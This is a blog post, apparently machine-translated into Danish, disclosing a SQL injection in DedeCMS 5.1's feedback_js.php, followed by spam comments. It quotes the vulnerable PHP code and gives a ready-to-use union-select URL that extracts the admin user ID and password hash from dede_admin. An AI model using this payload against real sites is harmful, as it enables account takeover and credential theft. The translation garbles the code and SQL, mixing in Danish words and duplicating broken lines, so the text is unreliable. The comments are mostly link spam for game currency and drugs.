DEDECMS 5,1 feedback_js.php 0DAY-0 dage, DEDECMS, DEDECMS 5,1, feedback

DEDECMS 5,1 feedback_js.php 0DAY

Dette indlæg blev udgivet den 11 Oktober 2009

Forfatter: st0p Rainy'Fox
Gengivet angives kilde: http://www.st0p.org http://bbs.erpangzi.com/

Denne sårbarhed er fundet og Rainy'Fox findes også i tilfælde magic_quotes_gpc = off

Sårbarhed Version: Artikler Condo 5,1
Dette kan udnyttes til at få administrator-konto i baggrunden og kryptere den HASH, huller eksisterer file plus / feedback_js.php, ufiltrerede parametre for $ arcurl

  ......
 0 ; $ Urlindex = 0;
 empty ( $arcID ) ) if (tomme ($ arcID))
 {
	 $dlist -> dsql -> GetOne ( "Select id From `#@__cache_feedbackurl` where url=' $arcurl ' " ) ; $ Row = $ dlist -> dsql -> GetOne ("Select id Fra` # @ __ cache_feedbackurl `hvor url = '$ arcurl'");
        / / Her $ arcurl intet filter
	 is_array ( $row ) ) $urlindex = $row [ 'id' ] ; if (is_array ($ row)) $ urlindex = $ row ['id'];
       / / Fremlægger resultaterne sætte $ urlindex opgave for en forespørgsel til $ row ['id'], kan vi konstruere SQL-sætninger i følgende drifts
 }
 empty ( $arcID ) && empty ( $urlindex ) ) exit ( ) ; if (tomme ($ arcID) && empty ($ urlindex)) exit ();
 / / Hvis $ arcID er tom eller $ urlindex tom exit
 ......
 empty ( $arcID ) ) $wq = " urlindex = ' $urlindex ' " ; if (empty ($ arcID)) $ WQ = "urlindex = '$ urlindex'";
 / / $ ArcID er tom, lige over resultaterne af gennemførelsen vil blive overdraget til $ WQ i følgende udførte operationer.
 = " aid=' $arcID ' " ; ellers $ WQ = "aid = '$ arcID'";
  "select * from `#@__feedback` where $wq and ischeck='1' order by dtime desc" ; $ QueryString = "select * from` # @ __ tilbagemeldinger `hvor $ WQ og ischeck = '1 'ORDER BY dtime desc";
 Init ( ) ; $ Dlist -> Init ();
 SetSource ( $querystring ) ; $ Dlist -> SetSource ($ QueryString);
 ......

Kig på brug af, hey, lukkede jeg bruge to union

En

  http://st0p/dedecms51/plus/feedback_js.php?arcurl = 'union vælge "' og 1 = 2 union vælge 1,1,1, brugerid, 3,1,3,3, PWD, 1,1,3 , 1,1,1,1,1 fra dede_admin, hvor 1 = 1 union select * from dede_feedback, hvor 1 = 2 og'' = '"fra dede_admin hvor'' ='

Ak, jævn og Rainy'Fox denne fyr til at finde målet prøve, da han faktisk sagde kan på The magic_quotes_gpc = tændt, når igennem .... denne idé også YD .. alt for forfærdeligt, for virkelig at opnå dette sektor netværk skal det kaos, en masse programmer som standard i PHP magic_quotes_gpc er slukket, vil kalde deres eget flugt del ... du virkelig kan opnå, det er mareridt af PHP-programmet ...

Lær ° kampsport Cheats

348 Responses to "DEDECMS 5,1 feedback_js.php 0DAY"

Af хостинг den Nov 19, 2009 | Svar
zelo intiresno, hvala
Det ved AKfour syv den Dec 1, 2009 | Svar
Jeg står her i dag ydmyg over opgaven foran [url = http://www.bawwgt.com] Dofus Kamas [/ url], taknemmelig for den tillid, du har skænket, opmærksom på de ofre, der bæres af vores [url = http:/ / www.bawwgt.com] billige Dofus Kamas [/ url]. Jeg takker præsident [url = http://www.bawwgt.com] Dofus magt nivellering [/ url] for hans tjeneste til [url = http://www . bawwgt.com] købe Dofus Kamas [/ url], samt den gavmildhed og det samarbejde, han har vist gennem denne overgangsperiode.
Det ved wsewtoexg den Dec 3, 2009 | Svar
CMvNTO honoyhhectcq , [url = http://bqjmruocdqwf.com/ bqjmruocdqwf [/ url], [link = http://mdbdixbzaeau.com/] mdbdixbzaeau [/ link], http://njofsuttytxm.com/
Af tedy den Dec 5, 2009 | Svar
Kun 34 dage før Dofus 2,0! 2 december vil være her, før vi kender [url = http://www.bawwgt.com/fr] Dofus Kamas [/ url]. På [url = http://www.bawwgt.com / fr] Dofus Kamas moins lærernes [/ url] alle spillere vil opdage en helt ny Dofus oplevelse. [url = http://www.bawwgt.com/fr] acheter des Dofus Kamas [/ url] nødt til at være tilfreds med rapporter og fora. Alligevel [url = http://www.bawwgt.com/fr] achat Dofus Kamas [/ url], der ¡ ¯ r altid et par af vores kære spillere i de enkelte fora.
Ved at købe Strattera den Dec 13, 2009 | Svar
Dette er en cool nyhed. Tak.
Det ved Seengart den Dec 14, 2009 | Svar
hva ... informative stil ..
Ved Natasha-web den Dec 16, 2009 | Svar
Vdaka za zaujimavy blog
Det ved ConradSimone den Mar 8, 2012 | Svar
Nå det er meget interessant indeed.Would elsker at læse lidt mere af dette. Beundre de værdifulde oplysninger, du giver i dine artikler.
Conrad af Simone